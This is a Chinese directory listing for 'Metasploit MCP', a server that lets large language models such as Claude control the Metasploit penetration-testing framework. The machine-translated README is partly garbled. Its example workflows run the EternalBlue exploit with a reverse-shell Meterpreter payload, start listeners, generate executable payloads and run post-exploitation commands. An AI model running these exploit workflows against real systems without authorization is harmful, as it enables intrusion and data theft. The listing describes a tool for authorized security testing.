Token导航 LogoToken导航TokenDH.com
Metasploit MCP logo
安全风控stdio官方级别未说明来源级核验

Metasploit MCP

MCP Server

Metasploit MCP服务器为大型语言模型与Metasploit Framework渗透测试平台之间提供桥梁,通过标准化工具实现自然语言接口控制复杂安全测试工作流。

工具数

0

提示词数

0

GitHub Stars

611

资源数

0
渗透测试PythonClaudeClaude DesktopClaude

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

作者 / 组织

GH05TCREW

提供方

GH05TCREW

最后核验

2026/5/17 20:58

运行时

Python

快速接入

先看主来源和安装命令,再打开仓库或文档;下面只保留这个条目的关键接入事实。

命令预览

pip install -r requirements.txt

详细介绍

Metasploit MCP服务器

用于Metasploit Framework集成的模型上下文协议(MCP)服务器。

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

描述

此MCP服务器在大型语言模型(如Claude)和Metasploit Framework渗透测试平台之间提供了一座桥梁。它允许AI助手通过标准化工具动态访问和控制Metasploit功能,为复杂的安全测试工作流程提供自然语言界面。

特性

模块信息

  • 列表_开发:搜索并列出可用的Metasploit漏洞利用模块
  • list_payloads:使用可选平台和架构过滤搜索并列出可用的Metasploit有效载荷模块

开发工作流程

  • run_exploit:使用先运行检查的选项配置并执行针对目标的漏洞利用
  • run_auxiliay_模块:使用自定义选项运行任何Metasploit辅助模块
  • run_post_module:对现有会话执行漏洞利用后模块

有效载荷生成

  • 发电机有效载荷:使用Metasploit RPC生成有效载荷文件(在本地保存文件)

会话管理

  • list_active_sessions:显示包含详细信息的当前Metasploit会话
  • send_session_command:在活动shell或Meterpreter会话中运行命令
  • 终止会话:强行结束活动会话

处理程序管理

  • list_listeners:显示所有活动处理程序和后台作业
  • start_listener:创建新的多维/处理程序以接收连接
  • stop_job:终止任何正在运行的作业或处理程序

先决条件

  • Metasploit框架已安装,msfrpcd正在运行
  • Python 3.10或更高版本
  • 必需的Python包(见requirements.txt)

安装

  1. 克隆此存储库
  2. 安装依赖项:
   pip install -r requirements.txt
  1. 配置环境变量(可选):
   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads

用法

启动Metasploit RPC服务:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

运输选项

服务器支持两种传输方式:

  • HTTP/SSE(服务器发送事件):与大多数MCP客户端互操作的默认模式
  • STDIO(标准输入/输出):与Claude Desktop和类似的直接管道连接一起使用

您可以使用以下命令明确选择运输模式 --transport 标志:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

HTTP模式的其他选项:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude桌面集成

对于Claude Desktop集成,请配置 claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

其他MCP客户端

对于使用HTTP/SSE的其他MCP客户端:

  1. 以HTTP模式启动服务器:
   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  1. 配置您的MCP客户端以连接到:

- SSE端点: http://your-server-ip:8085/sse

安全考虑

⚠️ 重要安全警告:

此工具提供对Metasploit Framework功能的直接访问,其中包括强大的利用功能。负责任地使用,并且仅在您有明确权限执行安全测试的环境中使用。

  • 执行前始终验证和检查所有命令
  • 仅在隔离的测试环境中运行或具有适当的授权
  • 请注意,漏洞利用后的命令可能会导致重大的系统修改

示例工作流

基础开发

  1. 列出可用漏洞: list_exploits("ms17_010")
  2. 选择并运行漏洞利用程序: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. 列出会话: list_active_sessions()
  4. 运行命令: send_session_command(1, "whoami")

实施漏洞利用

  1. 运行post模块: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. 发送自定义命令: send_session_command(1, "sysinfo")
  3. 完成后终止: terminate_session(1)

处理程序管理

  1. 启动一个监听器: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. 列出活动处理程序: list_listeners()
  3. 生成有效载荷: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. 停止处理程序: stop_job(1)

测试

该项目包括全面的单元和集成测试,以确保可靠性和可维护性。

测试的先决条件

安装测试依赖项:

pip install -r requirements-test.txt

或者使用方便的安装程序:

python run_tests.py --install-deps
# OR
make install-deps

运行测试

快速命令

# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

特定测试套件

# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

测试选项

# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

测试结构

  • tests/test_options_parsing.py:优雅选项解析功能的单元测试
  • tests/test_helpers.py:内部助手功能和MSF客户端管理的单元测试
  • tests/test_tools_integration.py:所有MCP工具与模拟Metasploit后端的集成测试
  • conftest.py:共享测试夹具和配置
  • pytest.ini:带覆盖率设置的Pytest配置

测试特性

  • 综合模拟:所有Metasploit依赖项都被模拟,因此测试运行时不需要实际安装MSF
  • 异步支持:使用pytest-asyncio完全支持异步/等待测试
  • 覆盖范围报告:使用HTML报告进行详细的覆盖率分析
  • 参数化测试:高效测试多种输入场景
  • 夹具管理:用于常见设置场景的可重复使用测试夹具

覆盖范围报告

在运行覆盖率测试后,报告可在以下位置获得:

  • 终端:测试运行后显示的覆盖率摘要
  • 超文本标记语言: htmlcov/index.html (使用时 --html 选项)

CI/CD集成

对于持续集成:

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

配置选项

有效载荷保存目录

默认情况下,使用生成的有效载荷 generate_payload 保存到a payloads 主文件夹中的目录(~/payloadsC:\Users\YourUsername\payloads).您可以通过设置来自定义此位置 PAYLOAD_SAVE_DIR 环境变量。

设置环境变量:

  • Windows(PowerShell):
  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows(命令提示符):
  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS:
  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • 在Claude桌面配置中:
  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }

注: 如果您指定了自定义路径,请确保它存在或应用程序有权创建它。如果路径无效,则有效负载生成可能会失败。

许可证

Apache 2.0

目录标签

目录标签

渗透测试PythonClaude本地部署安全工具集成AI接口模块管理会话控制

支持客户端

Claude DesktopClaude

接入字段

传输方式(transport,传输协议)

stdio

鉴权方式(authType,认证方式)

none

运行时(runtime,运行环境)

Python

工具数量(toolCount,工具数)

0

资源数量(resourceCount,资源数)

0

提示词数量(promptCount,提示词数)

0

权限和风险

stdionone部署方式未说明

接入前请确认传输方式、认证方式和部署位置,并根据实际工具能力限制访问范围。

安装前确认

不要直接授予不必要的文件、网络或账号权限;先核对安装命令和配置内容。

来源信息

继续浏览同类 MCP